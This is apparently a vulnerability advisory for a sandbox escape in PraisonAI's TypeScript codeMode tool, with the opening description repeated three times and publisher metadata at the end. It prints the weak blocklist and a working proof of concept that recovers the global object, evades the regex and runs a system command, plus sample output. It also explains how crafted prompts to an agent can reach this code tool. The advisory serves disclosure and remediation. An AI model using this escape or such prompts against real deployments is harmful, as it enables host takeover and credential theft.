PraisonAI is a multi-agent teams system. Prior to 1.7.2, the codeMode tool in src/praisonai-ts/src/tools/builtins/code-mode.ts executes model-generated JavaScript with new Function() and with(sandbox), while a regular-expression blocklist can be bypassed with Function('return this')() to recover the global object and by constructing the child_process module name dynamically. An attacker who can influence the code argument can access host process capabilities, read or write files, obtain environment credentials, and execute operating-system commands with the PraisonAI process privileges. This issue is fixed in version 1.7.2.
PraisonAI is a multi-agent teams system. Prior to 1.7.2, the codeMode tool in src/praisonai-ts/src/tools/builtins/code-mode.ts executes model-generated JavaScript with new Function() and with(sandbox), while a regular-expression blocklist can be bypassed with Function('return this')() to recover the global object and by constructing the child_process module name dynamically. An attacker who can influence the code argument can access host process capabilities, read or write files, obtain environment credentials, and execute operating-system commands with the PraisonAI process privileges. This issue is fixed in version 1.7.2.
PraisonAI is a multi-agent teams system. Prior to 1.7.2, the codeMode tool in src/praisonai-ts/src/tools/builtins/code-mode.ts executes model-generated JavaScript with new Function() and with(sandbox), while a regular-expression blocklist can be bypassed with Function('return this')() to recover the global object and by constructing the child_process module name dynamically. An attacker who can influence the code argument can access host process capabilities, read or write files, obtain environment credentials, and execute operating-system commands with the PraisonAI process privileges. This issue is fixed in version 1.7.2.
## Summary
The `codeMode` tool in `src/praisonai-ts/src/tools/builtins/code-mode.ts` uses `new Function()` with a `with(sandbox)` pattern to execute LLM-generated code. The blocklist-based "sandbox" can be trivially bypassed via `Function('return this')()` to recover the global object, followed by `global.require()` with string concatenation to evade the blocklist regex. This allows full arbitrary code execution on the host system. This affects all deployments where the code-mode tool is enabled for agents.
## Details
**Vulnerable code (lines 187–191):**
```typescript
const fn = new Function(
'sandbox',
`with (sandbox) { ${code} }`
);
const result = fn(sandbox);
```
The `code` parameter comes from LLM tool call arguments (the `execute` method at line 104). Before execution, a regex-based blocklist is applied (lines 108–136):
```typescript
const blockedPatterns = [
/require\s*\(\s*['"]child_process['"]\s*\)/,
/require\s*\(\s*['"]fs['"]\s*\)/,
/import\s+.*from\s+['"]child_process['"]/,
/process\.exit/,
/eval\s*\(/,
];
```
**Three fundamental weaknesses:**
1. **`with(sandbox)` does not provide isolation.** The `with` statement in JavaScript adds an object to the scope chain but does NOT prevent accessing the global object. The sandbox object sets `process: undefined` and `require: undefined`, but these are recovered via the global scope:
```javascript
const g = Function('return this')();
g.require('child_' + 'process')
```
2. **Blocklist evasion via string concatenation.** The regex `/require\s*\(\s*['"]child_process['"]\s*\)/` requires the literal string `'child_process'` or `"child_process"` inside `require()`. Using `require('child_' + 'process')` bypasses this because the regex sees a variable concatenation, not a literal string.
3. **`Function('return this')()` is not blocked.** None of the blocklist patterns match `Function(`, `return this`, or `global.require`.
## PoC
**Setup:** Clean checkout at commit `d5f1114a`, Node.js v20.20.0 (tested environment).
**Positive trigger — full RCE with sandbox escape (OBSERVED OUTPUT):**
```javascript
// This code bypasses ALL blocklist patterns and achieves RCE:
const code = `
const Func = (function(){}).constructor;
const proc = Func('return process')();
console.log('process.version:', proc.version);
const g = Function('return this')();
const mod = 'child_' + 'process';
const cp = g.require(mod);
console.log('RCE:', cp.execSync('id').toString().trim());
`;
```
**Observed output (executed in this environment):**
```
OUT: process.version: v20.20.0
OUT: RCE: uid=1000(sondt23) gid=1000(sondt23) groups=1000(sondt23),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin),983(docker),984(ollama)
```
The escape was confirmed by executing the exact code-mode sandbox pattern (`new Function('sandbox', 'with (sandbox) { ... }')`) with the blocklist applied first. ALL blocklist patterns were bypassed, and the `id` command returned the real system user ID.
**Negative control — blocklist correctly catches direct require:**
```javascript
const code = `require('child_process')`;
// Returns: "Blocked pattern detected: require\s*\(\s*['"]child_process['"]\s*\)"
```
**Negative control — blocklist correctly catches eval:**
```javascript
const code = `eval('process')`;
// Returns: "Blocked pattern detected: eval\s*\("
```
**Cleanup:** No persistence needed; the code runs in-process.
## Impact
An attacker who can influence the `code` parameter of the `codeMode` tool (via crafted prompts to an AI agent using praisonai-ts) achieves **full arbitrary code execution** on the host system. This includes:
- **Read/write any file** accessible to the process user
- **Execute arbitrary system commands** via `child_process`
- **Exfiltrate environment variables** containing API keys, tokens, and credentials
- **Install persistent backdoors** by writing to startup files
- **Move laterally** in containerized environments
## Suggested remediation
The `with(sandbox)` + blocklist pattern is fundamentally insecure and cannot be fixed with regex improvements. Replace it with:
1. **Use `vm` module with proper context isolation:**
```typescript
import { createContext, runInContext } from 'vm';
const sandbox = createContext({ /* safe globals only */ });
runInContext(code, sandbox, { timeout: 5000 });
```
2. **Or use `isolated-vm`** for true process-level isolation with separate V8 isolates.
3. **Or run code in a subprocess** (like the Python `_execute_code_sandboxed` pattern already used in `python_tools.py`) with a clean environment and resource limits.
4. If a blocklist approach must be retained, add patterns for:
- `Function(` / `new Function`
- `constructor` / `__proto__` / `prototype`
- `return this` / `return global`
- `global` / `globalThis` / `window`
But note: blocklist approaches are inherently fragile and will continue to have bypasses.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Sep 15, 2026, 10:14:16 AM
dateUpdated: Sep 15, 2026, 1:52:47 PM
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-94
Original publisher date fields
published: 2026-09-15T11:17:11.617
lastModified: 2026-09-15T14:45:28.563
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.